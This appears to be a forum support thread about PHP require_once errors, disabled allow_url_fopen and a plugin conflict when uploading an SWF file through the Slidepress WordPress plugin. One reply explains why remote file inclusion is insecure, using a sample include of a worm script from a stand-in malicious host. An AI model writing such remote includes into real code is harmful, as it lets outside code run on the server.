Uploading SWF file - error

Recommended Posts

I just tried to install Slidepress plugin and this was the message I received at the top of the page (after uploading slideshowpro.swf) during setup: Warning: require_once() [function.require-once]: URL file-access is disabled in the server configuration in /home/content/j/d/i/jdix71/html/wp-content/plugins/slidepress/upload_swf.php on line 16 Warning: require_once(http://redbarnstudios.net/wp-content/plugins/lightbox-pluswp-admin/admin.php'>http://redbarnstudios.net/wp-content/plugins/lightbox-pluswp-admin/admin.php) [function.require-once]: failed to open stream: no suitable wrapper could be found in /home/content/j/d/i/jdix71/html/wp-content/plugins/slidepress/upload_swf.php on line 16 Fatal error: require_once() [function.require]: Failed opening required 'http://redbarnstudios.net/wp-content/plugins/lightbox-pluswp-admin/admin.php'>http://redbarnstudios.net/wp-content/plugins/lightbox-pluswp-admin/admin.php' (include_path='.:/usr/local/php5/lib/php') in /home/content/j/d/i/jdix71/html/wp-content/plugins/slidepress/upload_swf.php on line 16 At the recommendation of slidepress, I've contacted my host (godaddy) to see what the problem is. I haven't heard from them yet, but I wanted to see if someone here might know the problem. Thanks.

Your server admin has disabled the url fopen wrappers. `allow_url_fopen`

Do I just add this to base.css? allow_url_fopen

Laurie, No I'm afraid you will have to contact your server/hosting admin.

Ok, so here's what godaddy says: By default fopen is set to on. ?????

The plugin is trying to include a file remotlely, godaddy has disabled remote file inclusions, and so it should it is hugely insecure! `<?php include('http://badurl.cz/myworm.php'); ?>` The plugin should use the wordpress http API or file_get_contents()

So should I go to godaddy to resolve the issue or to slidepress?

It's more likely that the code should just be changed but GoDaddy may be able to allow this inclusion from just that IP...try to get GoDaddy on support for best move here.

I really appreciate all of your help thus far. I just got off the phone w/ hosting support and was basically told that there's nothing they can do on their end. I LOVE platform pro and the support I've been able to get, but I'm frustrated at this point b/c it seems I'm going around in circles.

one more thing...can i safely rule out this being a plugin conflict? i noticed "lightbox plus" is in the error message above.

I tested this out on a different site that uses a different wordpress theme and the .swf file uploaded with no problem at all!

So I'm still having this issue w/ my particular site. Can I provide you w/ any more info to determine what the problem is?

Where did you get the "lightbox-pluswp" plugin? I'm testing locally, but "lightbox-plus" is the only one I can find that resembles it. You can test plugin conflicts by just deactivating all of them and reactivating them individually. Regarding the site where it works correctly, is it also hosted on godaddy? And does it use the same plugins?

I just tried deactivating the plugin for lightbox plus and the .swf file uploaded successfully. I'm sorry for not trying this earlier. Thanks again for all of your help!
